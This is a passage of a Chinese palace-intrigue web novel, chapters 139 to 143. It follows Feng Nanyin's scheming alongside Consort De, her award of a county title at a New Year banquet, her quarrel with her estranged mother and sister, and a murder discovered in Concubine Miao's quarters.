凤南茵都要走出西华宫门了,听到周嬷嬷匆匆传来的消息,小跑着向翊坤宫。 她进来的一瞬间,刚巧又看到娘亲跪在那里,被贵妃和她的嬷嬷欺负。 “娘亲,这不是你的错,为何要下跪。”她也不管礼仪规矩了,凶狠的眼神看着余贵妃。 “娘娘,你凭什么没有证据就污蔑是我害的你。” 丛嬷嬷大喝:“放肆,皇上在此,谁给你的胆子无礼。” “你才放肆,皇上在此都没有治我的罪,你张嘴闭嘴就污蔑我。” 她知道,再无礼下去,治大不敬的罪,自己也会吃亏,便直挺挺地跪在娘亲身边。 “皇上,民女并非有意冒犯,实在是憋屈。” 她看向一言不发的七公主,心下合计,此事一过,娘亲的谋划也算成了,她也无需每天伤脑筋逗这位小公主玩闹了。 “贵妃与嬷嬷全说是我害的娘娘,今早的药膳用过了,想来没了证据。可你们不知道的是,我为贵妃调治的药包,第一日就全部备好了,一共是二十一份,全部冻在钟粹宫的小库房,每日都由下人取来备用,现在皇上就可以查。” 皇上给?公公使了一个眼色,立即有人去查证。 凤南茵掷地有声地道:“第一日刘太医就说过,我的药膳不会伤人,我也一再言明,可以搭配清淡饮食一起用,敢问娘娘,今日都用了什么。” 丛嬷嬷冷哼,“咱们娘娘为了恢复容貌,这三日只用了你的药膳,今天就腹泻难止,如今你还在强词狡辩?” “只用了我的药膳?连主食都没用?” 德妃这时忽然道:“嬷嬷,御前说谎可是欺君。” 丛嬷嬷也跪了下去,“皇上,老奴不敢说半个字的谎话。” 德妃站起身,走到茶桌前指着上面的果盘。 “这残缺的半盘果子,是你吃的?” 贵妃见状,道:“皇上,臣妾喜欢吃果子,尤爱梨子,吃了这些年,您是知道的。” 刘太医这时道:“难怪……那娘娘腹泻就怪不到凤姑娘了。” 他本不该多嘴,可近来他侄儿欠了不少赌债,被人围在城中殴打时,被靖王意外相救。 他膝下没有儿子继承香火,唯这个侄子能为他养老,靖王帮了他忙,他也想求靖王给侄儿安排一份差事。 他只能冒险,顶着贵妃的怒火替德妃说话。 “娘娘三日未进主食,这时又吃大寒的梨子,即便没有凤姑娘的‘清鸽仙药汤’,也是会腹泻的。” 余贵妃气得差点刀人。 “你!” 想到皇上在此,她道:“你怎么不早叮嘱。” 刘太医官帽下的冷汗都落下来了,“微臣有提醒娘娘可搭配主食,不可伤身。若是如此,您再用一些梨片,对身体是无碍的。” 皇上蹙眉,不悦地看了一眼余贵妃,当真是恃宠而骄,越来越能生事。 “既然此事与凤姑娘无关,此事就不再追究了,爱妃好好调养身子,今晚的宫宴你就别出席了。” 余贵妃心都要碎了,不敢置信皇上这样待她。 “皇上!” 德妃同时也在唤他:“皇上,翊坤宫要用的药包,我会命人全部送来,姐姐是用,还是丢都随她意,日后她身体再有不适,还请皇上做个鉴证,不能再怪在我儿南茵身上。” 皇上这时瞧凤南茵眼中多了一丝欣赏,是个好的,孝顺、良善,有本事。 “今天贵妃错怪你了,朕替贵妃补偿,不如今日宫宴,朕赐你乡君的封赏可好?” 凤南茵见好就收,跪下行礼谢恩。 实则她手心捏着一把汗,她也是赌贵妃三日节食,到了今日嘴中寡淡,会偷食果子。 所以与娘亲一早就合计好了今日的说辞。 德妃却是心下不满,原本南茵调理太子身子见效,就会赐她乡君名份,这会却拿来弥补贵妃所犯的错。 这份宠爱还真是无人能及。 她不满地轻轻福了身子,“臣妾还有宫宴琐事要操持,就先行告辞了。” 皇上轻咳,也知今日之事过于包庇贵妃了。 见人都退了,他也冷了脸,“下次没查清缘由前,再胡乱攀咬朕也不容你,再怎么说,那丫头也治了你的脸。” 余贵妃见皇上生气了,起身想留人。 “皇上,臣妾也只是太在意腹中的孩儿,才会这般紧张。” “你啊,好自为之吧!” 皇上走前,赞了一句刘太医,随后带着人一起走了。 贵妃完全没想到会落得这样的后果,仰躺在榻上。 “嬷嬷,你说真的是我们误会了那丫头?” 宫外,刚还一脸愤慨的德妃抓起凤南茵的手拍了拍,母女二人相视一笑。 今日虽然受了一点委屈,可是心中却是畅快。 一切的计划完美到天衣无缝,她们只需等着贵妃数月后临盆,那口恶气就除了。 而贵妃的好日子也算走到头了。 德妃爱怜地抚摸着南茵的手,轻轻拍了拍。 “时辰不早了,快去陪你师伯吧,晚上记得早些回来。” “是,娘亲。” 第一百三十九章宫宴 翊坤宫的事情算是告一段落,今日种下瓜,只等来日采摘就好。 凤南茵从宫中给师伯带了果匣和美酒,德妃还命人从御膳房备了数样美食。 半车的礼物,送到南城的小院。 师伯在这边安了家,她还没有来过。 京城的宅院寸土寸金,原以为师伯一人住,三进深的小院足够了,待马车停在一处占地庞大宅院前,凤南茵震惊在原地。 “这也太气派了吧。”光看府前大门,就像官家府邸。 会不会闹错了? “南茵?” 魏锦快走两步,发现没有认错,心下说不出的欢喜。 “你怎么出宫了?以后还回去吗?” 都快一个月没见了,魏锦时常在心中挂念着她,忽然就看到人了,上上下下打量。 “一个月没见,小丫头长高了,人也更漂亮了。” 凤南茵见到他也是欢喜,“魏锦,你来看师伯?” 魏锦看到她就欢喜,伸手去拉她。 “走,你师伯要是知道你回来了,怕是高兴死了。” 凤南茵被带着往内走,越走越被府邸的奢华咋舌,“师伯是真打算常住了吗?买这么好的宅院。” 魏锦嗨了一声,“这里早前是一位四品官员的宅院,抄家后被靖王购买下来,听到我在给宫老寻宅子,直接让人搬了进来。” 他指着院中的下人,“这些人都是原宅邸的旧人,能有新主子伺候也算是保住他们的差事,所以都很尽心,一切你都可以放心。” 凤南茵一路听着,没想到靖王在背后做了这么多。 “对了,周家母女如今也在这里住着,周婶子做厨房管事娘子,水水年纪小,在你师伯书房伺候。” 管家早向里面送了信了,宫良原是迎接魏锦的,没想到这样的日子,他还惦记自己这个糟老头子。 可是出来一眼就看到了他日夜惦记的小丫头,下意识地抬起袖子揉了揉眼睛。 “南茵,是你回来了?” 凤南茵见到师伯的那一刻便忍不住哽咽了。 “师伯,师伯是南茵回来了。” 宫良见到真的是丫头,一连跌声地道,“好,回来的好,师伯给你准备了大红包,还以为不能亲手给你了。” 凤南茵眼泪一下子就落下来了。 师伯一定很想她,竟然都哭了。 她拿出帕子替师伯擦眼泪。 “都是南茵不好,让您这样难过。” 魏锦见他们爷俩全哭,心中也是为南茵入宫难过,可还是不忘记劝着。 “别哭了,今天可是除夕,丫头好不容易出宫,可不能一直在这里哭。” 宫良也觉得不对,他一个糟老头子还把孩子给惹哭了。 “对,不哭,咱们家丫头回家,得开开心心的。快和师伯说说,你在宫中可好。” 凤南茵见师伯说话中气十足,面相气色红润,就知道这段时间过得还不错。 于是她报喜不报忧,挑让师伯开心的事讲。 “师伯,我一入宫就替德妃调理好了身体,德妃宠我的厉害,认我做义女了。” 宫良听说这事了,可是从丫头嘴里听到,依旧觉得高兴。 “好,咱们南茵聪明、乖巧,谁能不喜欢。” 魏锦也在一旁附议,“就是。” 只是这样一来,南茵就要一直在宫中了,他在心中止不住地失落。 “师伯,德妃娘娘赏了不少东西,都是从钟粹宫带出来的,有御酒、还有果子、点心,还有今晚宫宴的吃食,我这就命人都呈上来。” 宫良稍安,“师伯晓得,那后宫就是吃人不吐骨头的虎狼之地,你遇到难事也不会和师伯说,现在有德妃护你,多少也能让人安心些。” 凤南茵知道他不放心,忙道:“师伯,还有一个好消息,今晚宫宴,皇上会赐我乡主的身份,我也是有品阶的人了。” “真的?”宫良这下是真的激动了,甚至有一些手舞足蹈。 “快,将酒菜摆上,今个我必须要多喝两盅,为咱们南茵庆祝。” 魏锦也是神色欢喜,“丫头,皇上亲口允诺的?” 凤南茵点头,“是的,今晚宫宴就会提。” 魏锦高兴,“如此一来,你就不是宫女,不用受宫规限制,只要想出宫,德妃娘娘一句话,就能出宫了?” 凤南茵想了想,好像是这么一回事。 也许帮娘亲解决了贵妃,自己就能出宫了。 “应该吧?” 宫良早就看出魏锦的心思,这魏公子表面看上去纨绔,了解之后发现也是难得的才俊,家世不错,重要的是对丫头好。 “我家丫头进宫一趟,给自己挣了一个乡主,魏公子可不能落于人后哦!”不然,到时候可就不配丫头的身份了。 魏锦听进了心中。 是啊,南茵都是乡主了,而他还是不学无术的纨绔。 看来,他得给自己找一份差事,不能再这样游手好闲下去。 “宫老,南茵,你们坐,我今日过来送些礼物就该回府了,晚上宫宴见。” 他对凤南茵颔首,藏在袍袖中的手握紧成拳,是时要奋发努力了。 凤南茵也没多想,将人送出府,便欢喜陪师伯聊天了。 周婶子与水水都晓得小姐回来了,欢喜过来见礼。 凤南茵将给二人的红包拿出来,“过节了,这红包我就提前给了。” …… 团聚总是短暂,分别来临,宫良再三叮嘱。 “丫头,树大招风,在宫中定要谨记万事小心,不可大意,若是受了委屈就求了德妃娘娘让她准你出宫,如今你的婚事已不能由你母亲做主了,不用再因为这事避着她了。” 凤南茵点头。 “师伯,您也要注意身体,南茵回宫了。” 宫良忍不住又想抹泪,他不想丫头担心,强撑着笑,直到马车再也看不到才回去。 “丫头是有福气的,一定会好好的。” 宫宴 凤南茵一身盛装出席,安静地坐在德妃身旁,惹来不少贵妇目光,纷纷猜测这是宫中哪位公主。 凤泽宇得皇上器重,点名可以参加宴请,不过安排的座位是靠近宫殿门口。 凤夫人虽对这个位置心中尴尬,依旧觉得这是凤家崛起的第一步。 “那些以为咱们凤家落魄的人一定没想到,我们还能再次出席宫宴。” 凤南蓉穿金戴银,打扮得极为华丽,坐在那里眼睛不住的漂移。 “母亲,你说南茵现在是不是看着咱们在这里吃吃喝喝,她在深宫正立着规矩呢?”她说着还不忘记掩唇得意。 今日大殿当中没有人容貌能超越过她。 等等! 德妃娘娘身边的人是谁,这是哪位公主,生得竟是这般灵动貌美? 她嫉妒得掐着帕子,眼里全是妒火。 第一百四十章赐冀宁乡主称号 今晚她是想仗着美貌,得到天家人的瞩目,说不定就破格得到入宫的机会。 毕竟这种事又不是没有发生过。 可现在倒是好了,坐在皇帝下首位的那个女子,样貌那样灵动惹眼,谁还能注意到远在门口的自己。 凤夫人不知大女儿的心思,还在那里憧憬。 “南蓉,待宫宴开始,母亲带你去给德妃请安,一会你表现的好一些,入宫的事就能有九成的把握。” 凤泽宇道:“母亲,如今小妹在德妃那里很受眷顾,就连圣上都对小妹印象极佳,咱们这一次能参加宫宴,实则是借了小妹的光。” 凤夫人很是意外,觉得这不可能。 “不是因为你的功绩,才得皇上另眼相看的吗?” 这时,从前在凤夫人面前几次吃亏的光禄寺卿王夫人扭回头,隔着两个座位与盛青兰打招呼。 “凤夫人就是厉害,如今国公府都落魄成这般光景了,竟然还有资格参加三品以上官员才能来的宫宴。” 她说着掩唇偷笑,“就是不知道你们现在这等身份,坐在这里心中是什么滋味。” 如今就是她们最好落井下石的机会。 这时,中书侍郎吴夫人掩唇在旁附议,“王夫人这话问的,不是所有人都像咱们这般脸皮薄,落魄了依旧招摇。” 她拿眼睛上上下下打量凤南蓉,嗤了一声。 “被抄家,还能满身珠翠,是很怕他人不知这凤府当时藏了私?” 凤南蓉一时坐立不安,今日她一心想出风头,竟忘了这事。 “母亲,现在该怎么办?” 凤夫人压着她的手,示意她稍安。 “吴夫人这是嫉妒我有一个能帮衬得上的弟弟?也是,吴夫人的娘家落魄后,就是求到我家老爷那里,想拉你娘家一把,那事我家老爷没应承,这两年日子怕是越发难过了吧?” 吴夫人被怼,气得坐正了身子,“得意什么,面上光鲜不也是接济得来的。打肿脸充胖子的事,八品不入流的小官,我看你凤家几时能出头。” 凤夫人心口被气得生疼,嘴上她是吵赢了,可他们家现在过的日子,可不就是面上光鲜,实则谁都能踩上一脚。 她恨铁不成钢的瞪儿子一眼,憋闷地坐在那里,脸上再无笑容。 凤南蓉见母亲如此,哄道:“母亲,您不是常教育女儿,日升日落总有轮回,咱们凤家又不是没有出头之日,何必被不相干的人影响了今日好心情?” 即便被这些长舌妇说了又如何,除了那位高高在上坐着的小公主,她依然是这宫殿当中最漂亮的官家小姐,未来也只有她配那最有权势之人。 而被她错看成公主的凤南茵此时心中却很烦躁。 因为有一道目光今晚一直盯在她身上,令她无比厌恶。 “南茵,宫宴是沉闷了些,不过朝臣说完恭贺词后就会有歌舞表演,很快了。” 凤南茵拿了团扇挡了脸,对德妃小声道:“娘亲,我总感觉对面有人看我,好像是安王?” 德妃抬眸望过去,刚好瞧见安王那不加掩饰赤裸的眸子,随即眉头轻蹙了一下。 这时景颐想做什么,难不成想收了南茵给他做妾? 她得趁早打消了安王的念头。 “别怕,他不敢染指你的。” 德妃这时端了酒杯敬向上首的皇上,“皇上,臣妾借今日宫宴敬您,愿皇上龙体安泰,事事顺遂。” 皇上点头,“好,那就共同举杯,愿我北庆新的一年风调雨顺,国泰民安。” 朝臣立即附议,所有人共同举杯。 德妃趁着皇上高兴,道:“皇上,趁着宴席还未正式开始,您应南茵的事情不如此时就办了吧,臣妾也好向命妇们介绍南茵。” 皇上一早就应承的事,倒是也没推辞。 “凤南茵调理德妃身体恢复康健有功,又帮太子调养身子,还让贵妃恢复了容貌,这等聪慧能干确实该好好嘉赏,那就赐她冀宁乡主,享冀宁三千农户食邑。” 皇上开口,下面的人自然都禀着气听着。 忽然就听到赐封,一时都在猜测这凤南茵是哪府之女,为何没提及母族? 凤南蓉听到妹妹的名字之时,还以为皇上在叫她,心砰砰狂跳了数下,待听清楚后面的话,只觉得不敢置信。 “母亲,皇上赏赐的人是谁?” 她以为自己听错了,怎么会是凤南茵? 凤泽宇翘首张望,只见一身华丽高贵妆扮的宫妆女子跪在大殿之上,正在向皇上谢恩。 “这就是我二妹?真没想到她竟是比我这个哥哥更有出息。” 凤夫人也以为自己听错了,直到看到少女转身看清楚她的容貌,心也跟着不是滋味起来。 惜日她没有好好对待的女儿,如今乖巧地坐在德妃身边,那亲昵的模样如同母女。 这丫头竟是有这等本事与福气? “泽宇,此事你先前可知道?” 凤泽宇摇头,“儿子只听闻德妃很喜爱二妹,已收为义女了。” 盛青岚苦笑,“她竟是认了德妃娘娘做母亲了?” 那她呢? 那孩子心中可还有自己的位置? 凤南蓉嫉妒的五官都要扭曲了。 “母亲,她一个乡下长大的丫头,凭什么得德妃这样另眼相待!” 她现在是乡主,那自己入宫后还要给她请安见礼吗? 德妃此时对着安王的方向道:“我儿如今是冀宁乡主,我德妃之女,将来再高的门第咱们也攀得起,娘亲必然要你当家主母。” 安王别开头,德妃的敲打太过明显。 他心中嗤了一声,当真以为他会看上一个乳臭未干的丫头? 靖王站起身,“儿子恭贺母妃收得义女,同时贺南茵得乡主封号。” 凤南茵腼腆地举杯回礼。 她实在不想如此高调的,不过娘亲说过,唯有让所有人知道她现在身份贵重,让世人都认得她,日后才不敢有人对她造次。 那些有眼色的人赶紧上前敬酒。 凤南茵学着嬷嬷教导的姿态,一一回礼。 这时光禄寺卿王夫人扭回身问盛青兰。 “凤夫人,我怎么听冀宁乡主的名字与你长女南蓉的名讳这般相似,那丫头不会是你的庶女吧?” “一个庶女这般出风头,皇上嘉赏之时,为何没有提及你这个母亲,也不提一提凤府?” 吴夫人:“王夫人这话问的不是戳人心窝子,他们凤府如今又无官阶,难不成提乡主是籍田令大人的妹妹?” 凤夫人再次被人挤兑,竟是对德妃都生出了怨怼。 多年朋友,这等提拔凤府的机会,竟是不提一提。 凤南蓉实在气不过,她道:“你们这是做什么,难不成见我嫡妹得了赏嫉妒?凤府只是一时落魄了,又不是一世,咱们能得德妃召见,就是最好的证明。” 她去拉母亲,“母亲,我们也是该上前给德妃和妹妹贺喜了。” 第一百四十一章为了荣华,做到厚颜无耻 她们与其和这些个小人斗口舌,还不如找德妃攀谈,她才不要管先前和凤南茵发生了什么龃龉,眼下这个被自己瞧不起的妹妹,却是能助她在这宴席上出风头的人。 凤夫人也缓过神来,是啊,不管曾经发生了什么,凤南茵也是她的女儿。 越是这等时刻,那丫头越是不能与自己撇开关系。 “王夫人,吴夫人,咱们还要给德妃娘娘敬酒,先不奉陪了。” 她看向儿子,“泽宇,靖王于你有提携之恩,你也过去敬他一杯吧。” 凤夫人得意地高扬了下巴,怎么样,她凤府再落魄,朝中有人就是让你们嫉妒的存在。 凤南茵被人声声恭维得脸色桃红,今日她被迫也饮了几杯果酒,整个人都有一点晕晕的。 难怪世人追逐名利,如今她算是体验到原由,就是应对的令人厌烦,一直扯着嘴角,脸上的肌肉都麻了。 这时,凤夫人拉着凤南蓉已经来到近前。 “南茵,这样的喜事母亲才知道,你不怪母亲来道喜的晚了吧?” 凤夫人一开口便引了无数人瞩目。 一开始还在猜测冀宁乡主是哪府上的千金,多少人想着上门提亲。 没想到竟是家道中落的凤家。 有人恭维,“凤夫人生了一对好儿女,如此优秀,凤家再回昔日荣光也是迟早的事了。” 凤南茵也没想到这等宫宴,凤夫人与凤南蓉还能参加。 想到昔日凤夫人对自己的绝情,她心口被扯得痛了痛。 她礼数做足地福了一礼,很是冷漠且疏离地唤一声,“凤夫人,凤大小姐。” 对待旁人,她至少笑脸相迎,可是这会,那冷漠的态度所有人都看出来,这位冀宁乡主有多不喜眼前二人。 凤夫人也没想到南茵这样落她面子。 “南茵,你还在与母亲生气吗?都过去的事了,别再计较了好吗?” 她去抓凤南茵的手,被躲开了。 凤南茵晓得凤夫人与凤南蓉的秉性,她得用时,与她讲情意,无用时,与她讲利益。 翻脸比翻天书还快。 这会,竟然还想借她的光为自己造势,休想。 “凤夫人这话言重了,有些事在我这里,怕是过不去。毕竟当初若不是我逃得快,此时怕是要为死人守节一辈子了。” “你!” 凤南蓉没想到她这么不留情面,当众让母亲下不来台。 “凤南茵,你有必要在这里说这些吗?” 凤夫人压低声音威胁道:“南茵,这么多人看着,你就算再不想顾全我的颜面,也要考虑一下自己的名声,你与自己亲人闹掰了,于你可没半点好处。” 德妃不想南茵名声有半点损伤,更不想看着孩子为难。 她笑着道:“青岚,你与南蓉难得入一次宫,还是回到座位上欣赏歌舞吧,南茵这孩子日后要留在我身边,也没什么机会出宫了,日后她的婚事也会由我替她做主,你就不用操心了。” 她话语和善,可是用意在点醒凤夫人,南茵与你早就恩义两清了,莫要再借这个孩子的福气来为自己长脸面。 凤夫人不甘心才过来又坐回去,那样岂不是要被人编排死。 她将心底的不快压下,打起感情牌。 “德妃娘娘,有空您替我宽解南茵两句吧,这手心手背都是肉,她与南 蓉都是我的女儿,如今她也在宫中住了一阵子,知道在这后宫生活下去并非容易之事,看似我偏心长女,其实我都为了凤家。” 凤南茵巧笑嫣然地看着她,“是吗?凤夫人这样说,是不打算送凤南蓉入宫喽?” “也是,这后宫危机重重,稍不留神小命就没了,姐姐这等花容月貌貌,该是寻一处高门嫁了,同样可以帮衬到凤府,您说是吗?” 凤夫人气得发抖,却压着憋闷又道:“正因如此,我才想着让德妃娘娘行个方便,让南蓉入宫为秀女,她也能为你做个帮衬。” 不管如何,此行目的总要说出来。 而这时,安王却是走了过来,他手中端着酒,嘴上说着恭贺的话,眼睛却是瞟向了凤南蓉。 “原来咱们的冀宁乡主是曾经的安国公府小姐,难怪这般有能力,原来都是凤夫人教导的好。” 凤夫人找补回来一点面子,笑着应是。 德妃心下冷笑,这凤夫人越是越来越让她看不懂了。 南茵这孩子的好,哪里有她的教导,她是真好意思应是。 “青岚,你说当年你是怎么狠得下心,让她才生下来就被送去学医,亏她小小年纪知道努力,不然你这等偏心岂不是耽误了孩子一生?” 德妃含沙射影贬损一通,凤夫人只能听着。 她后槽牙都要咬碎了,也只能应承着。 “所以,我才想送她姐姐入宫,让南蓉带带她妹妹,原本在家中两姊妹可以互相学习的,现在只能辛苦南蓉。” 凤南茵本想说,你打的还真是一手好算盘,说得这样好听。 可是她看出安王那不安于世的桃花眼不住地在凤南蓉身上打转,她忽然就变得随和起来。 “凤夫人说得的,如今我得了乡君的身份,每日不用做杂事,日子忽然就变得轻松起来。” “不如让凤南蓉进宫做我的贴身婢女,学习琴棋书画就算了,我没那等天赋,不如就时不时跳舞为我解闷吧!” 她倒是要看看,如此,凤夫人可还愿意。 凤南蓉厉声尖叫,“你说什么?你让我伺候你?” 竟然让她入宫伺候人,还是舞姬那等的下贱讨好人的行为? “你竟然这样羞辱我!” 德妃:“怎么,乡主让你伺候她还不乐意?那你进宫为了什么?以为自己一入宫就能被皇上选中,封你一个良人或者美人?” “南茵让你伺候,至少她不会欺负你,不然以你现在的家世,说不定你一辈子在内务府或者体元殿被各宫的小主使唤。” 她看向盛青岚,“凤夫人,如何决断,你说了算。” 凤夫人心中想着那道签文,暗暗捏了拳头。 “德妃说的是,有德妃娘娘照拂,又是在自己亲妹妹身边,南蓉入宫我这个母亲也能放心了。” 她扯着凤南蓉的衣摆,“还不谢谢德妃。” 至少,女儿秀女的资格总算是落成了。 “母亲!” “快谢恩!” 凤南茵翻了一个白眼,心中暗忖:“还真是能屈能伸,这也应了。” 安王在一旁看着,眼睛滴溜溜地转,原来这凤家二女的关系不好,倒是让他得了机会。 “凤夫人决断是对的,似凤大小姐这等容貌,可不会一辈子做个宫女。”他向凤南蓉抛了一个媚眼,随后转身离去。 凤南蓉心口漏跳了两拍。 安王说这话是什么意思,他瞧上自己了? 第一百四十二章妙嫔娘娘出事 德妃瞧不上凤南蓉这副轻浮的姿态,男人随便挑拨两下不红了脸,真当自己是天香国色? “回去坐吧,宫宴开始了,别扰了本宫赏舞。” 凤夫人带着女儿退下,手捏着袖口都攥出了褶子。 “南蓉,看到了吗,这就是做世家夫人与入宫为妃的区别。” “当年德妃的出身可没有娘高,如今我们都要看她的脸色行事,日后你入了宫,不管受了怎样的委屈都给我忍住了,记住了吗?” 凤南蓉心中也憋着一口气,“母亲,您等着吧,女儿一定能爬到高位的,让那些瞧不起咱们的人,都到您近前登门道歉。” 她一定会比凤南茵爬的高。 今日的羞辱,她都要一一还回去! 凤南茵目光盯着歌舞,心中盘算着,日后凤南蓉入了宫,她该如何制造机会,让她早日进了安王府。 靖王端着酒杯,眼角余光打量着小丫头,将这里的互动都看进了眼中。 他心中好笑,还真是个睚眦必报的性子。 魏锦凑上前向他敬酒,趁机道,“王爷,我想在兵部谋个差事,你得空帮衬着说一下。” 靖王看他,“怎么忽然转了性?” 早前说给他在兵部安排差事,这小子嫌弃累,不愿意。 这会子倒是知道上进了。 “南茵都是乡主了,我再没个正经差事,她都挤兑我了。” 时景轩挑了挑眉,“你倒是在意她的看法,若是让太尉大人听到,不知怎么后悔没让你早日成亲,说不定你早就开窍了。” “王爷又挤兑我,我想去兵部还不是帮你照看些。” “行,不过你没阅历,主事一职不好安排,先让你做武库司,负责军械锻造管理。” 刚好,他发现齐州山有人私挖铁矿,这批矿石被人暗中转走,他怀疑是安王在私自打造兵刃,此事正需要自己人着手调查。 这时,有内侍公公慌慌张张进来,在?公公耳边耳语几句。 ?公公脸色当下就变了,他附耳在皇上近前。 “皇上,有人发现妙嫔娘娘与侍卫幽会,如今已将人堵在宫中。” 皇上正眯着眼欣赏歌舞,听到内侍传话当下盛怒。 “岂有此理!” 随后起身,对众朝臣道:“朕今日有些乏了,众爱卿随意。” 皇后就在旁坐着,整晚她都如同透明人一般没多少存在感,这时却是瞄了一眼德妃,唇角勾了勾。 妙嫔与侍卫有染,盛宠是到头了,不过这后宫混进男子,德妃这协理后宫的日子也倒头了。 这样的热闹她可得好好去看看。 凤南茵右眼皮狠狠跳了两下,她扯了扯德妃的衣袖,“娘亲,后宫是不是出事了,皇上走时脸色不好。” 德妃蹙了眉头,安抚她道:“我跟过去瞧瞧,你坐这里再玩会。” 凤南茵受了一晚上的瞩目,早就不想当那个显眼包了,跟着起身。 “我随您过去瞧瞧。” 靖王见母妃走的这样匆忙,父皇走时一脸盛怒,他给身后的侍卫使眼色。 “暗影,你跟上瞧瞧。” 时菁雨见父皇走了,来到安王面前,在他身边央求。 “四哥,你带我去和凤家人认识一下呗。” 安王挑眉,“做什么?” 他是有意想吊一吊风南蓉的胃口,那丫头一晚没少往他这里递秋波,可他对主动送上门的女人没兴趣。 “四哥,谁不知凤公子是京都第一才子,他现在虽然官职低微,却是朝廷的栋梁人才,你真不想趁现在拉拢吗?” 安王看了一眼容貌秀美的男子,再看自家妹妹脸上那两朵红晕。 “你死了这条心吧,他是安国公世子之时,你还有可能嫁他,如今他的身份可配不上你。” 时菁雨不依,“谁说他配不上,他可是三元及第的状元,只此一层身份就够本公主下嫁的。” 但她更想要的是郎情妾意的婚后生活,如今凤泽宇还不认得她呢。 她得在凤泽宇面前露个脸,让他知晓自己有这层意思。 安王拗不过妹妹,只好带人过去。 “凤大人,本王一直对你云游得玉米种的经历好奇,不知可愿讲与我兄妹二人听听?” 他侧身,介绍道:“这是七公主。” 凤泽宇忙起身拱手作揖,“一切因缘给予都是偶然,没想到引得安王有兴趣。” 时菁雨的目光一直落在凤泽宇身上,直勾勾地盯着忘记避讳。 她心道:“这世间怎会有如此钟灵毓秀男子,此生她一定要嫁他。” “这样大的事,被凤公子这般轻巧揭过,还真如四哥说的那般,您是一位鞠躬不自傲的人。” 凤夫人是过来人,怎么会看不出七公主属意自己家儿子。 而安王虽然掩饰的很好,对自己的南蓉也有那等意思。 她心下又是欢喜,又是忧。 欢喜的是,安王与七公主到近前这么一站,这京中贵妇再不敢小觑她。 忧愁的是,儿子万一真的做了驸马,这官途至多做到四品,也算是到了尽头。 而女儿被安王看中也非好事,这位安王可是正妃、侧妃都满了,难道让女儿到安王府做妾吗? 可若是安王日后登基称帝,女儿只要得宠,未必不能爬至高位。 心中盘衡之后,决定赌上一把。 她道:“安王,今日宫宴,在此不便交谈,王爷若有兴趣,一会歌舞散了,让泽宇陪王爷四下走走,也好细谈。” 安王见凤夫人识趣,轻轻颔首。 “那一会还要麻烦凤大小姐作陪,不然小妹怕是不好相随了。” “一定。” 另一边。 凤南茵搀扶着德妃匆匆跟随皇上的步伐向深宫处走。 刚刚凤南茵已经偷偷向传讯的小太监打探出消息。 这一出,竟是因为妙嫔趁着宫宴与侍卫苟且,还被送餐食的太监给撞了个正着。 “娘亲,妙嫔应该是被人陷害了,她若是有这个胆子,当初也不至于穷困潦倒到要死的地步。” 德妃甚至都猜到是何人设计妙嫔,这后宫受宠的妃嫔出事的,妙嫔不是第一个。 她担忧道:“如今说这些都晚了,不管是否被设计的,她怕是都保不住性命了。” 圣驾已经到了储秀宫,宫人没有传唤,而是被人一脚将门给踹了开来。 里面一片漆黑,这宫的人就像是都死了一样,连个接驾的人都没有。 偏殿有一丝幽暗的光亮,偶有女子声音传出来,听不真切…… 第一百四十三章祸乱后宫,还敢说逼不得已? 那声音朦朦胧胧,断断续续,根本听不清楚是在抽泣还是在行那鱼水之欢。 皇上意识先入为主,觉得就是妙嫔放荡,勾引了年轻侍卫,喜欢他们的孔武有力。 帝王的威仪受到质疑,怎么能容忍这种事情存在。 “将门给朕撞开!” 侍卫应喏,快速向宫门口走,却被暗中一物绊了一下,低头一看,竟是一个内侍倒在这里。 “这……” “还愣着做什么?” 侍卫一脚踢开内侍,那公公可怜,竟是直接滚下台阶。 ?公公呦了一声。 “皇上,这么冷的天,这内侍晕在这里,这不正常啊。” 皇后想将妙嫔这事坐实,不管妙嫔下场如何,她都能借此机会从德妃手中拿回权利。 “这妙嫔偷人,竟是做的这般谨慎,连自己人都害,可怜这公公大冬天的在这里晕着,醒来前怕是已经冻死了。” ?公公想表达的不是这个意思,他想说,要是妙嫔真的偷人,这些个伺候的人就算不给她把风,也该被支开吧,怎么晕在门口了? 他张了张嘴,选择阡陌。 皇上此时更怒了。 “还等什么,踹门,将门踹开!” 侍卫抬脚,那门从内里已经被人打开。 妙嫔衣衫不整,发丝凌乱地出现在门口,看到院中站着的明黄身影直接扑了上去。 “皇上,皇上救我。” 妙嫔身子纤细,容貌就如同梨花般娇弱惹人怜惜,这会脸带泪痕,好不楚楚可怜。 她手死死拽着承德帝的衣袖,人在他怀里抖个不停。 皇上反手将她拉开,眼底晦暗不明。 “妙嫔,你可知罪。” 姜妙梨跪下,身子抖如筛糠,“皇上,臣妾都是逼不得已。” 皇后冷笑,“好一个逼不得已,你祸乱后宫,难不成是有人逼你不成?” 妙嫔瘫软坐下,不住地摇头,“不,臣妾没有。” 侍卫这时大喊,“皇上,这里死人了。” 凤南茵悄悄跟上前,看到倒在血泊中的念芯,不顾皇上和皇后在此冲进去。 念芯后脑下一滩血渍,她忙查验伤口,可是触摸下觉得不对,忍不住又探了探。 “念芯?” 她心中思忖,怎么会这样? 这丫头看样子是磕到了桌角这才晕迷的,可她后脑肿着,却没有伤口? 那这地上的血是怎么回事? 她抹了一把地上的血,抬起了手…… 侍卫已经出来禀报,“皇上,里面男子被人一簪扎进咽喉,已经死了。” 皇上:“死了?” 他走进去,发现男人倒在榻上,身子被侍卫翻转过来,床铺上有大面积血渍,脖颈咽喉处插着一根金钗。 “这……” 不是说妙嫔和侍卫有染吗?这人怎么被扎死了? “妙嫔做的?”她刚刚手上和衣衫上确实沾了血。 皇后看到这一幕,失声尖叫。 “这,这怎么还死人了?” 她稳定了情绪又看了一眼。 只见死人衣服穿得完好,这也不像是行了那种事情啊! 皇上喝问:“那个传话的小太监呢,将人带上来。” 太监被拉过来,一脸的慌乱。 “说,你都看到了什么,为何说妙嫔与内侍有染!”皇上叱问。 “奴才,奴才看到有侍卫进了储秀宫,且进了娘娘的寝殿,感觉事情不对就去太和殿报信了。” 皇上虚眯了眼,“只看到侍卫进去?” 小太监心道为何这样,他明明听到里面已有苟且声响,这才去告发的。 这人怎么衣着完好,人还死了? 皇上:“说!” “小的,小的见有男子进了娘娘的寝殿,再没看到其它。” 皇上一脚将人踹翻,“混账东西!” 皇后在一旁劝着,“皇上,气大伤身,这公公也没做错,后妃寝殿不容外男进入,他去报信也算无错。” 德妃在一旁拧着眉,这事蹊跷之处太多了。 一个送吃食的公公发现不对,那这殿原本伺候的人都哪去了? 先前就都被迷晕了? 妙嫔这殿还有迷药? ?公公是内廷总管,出了这事他也有责任。 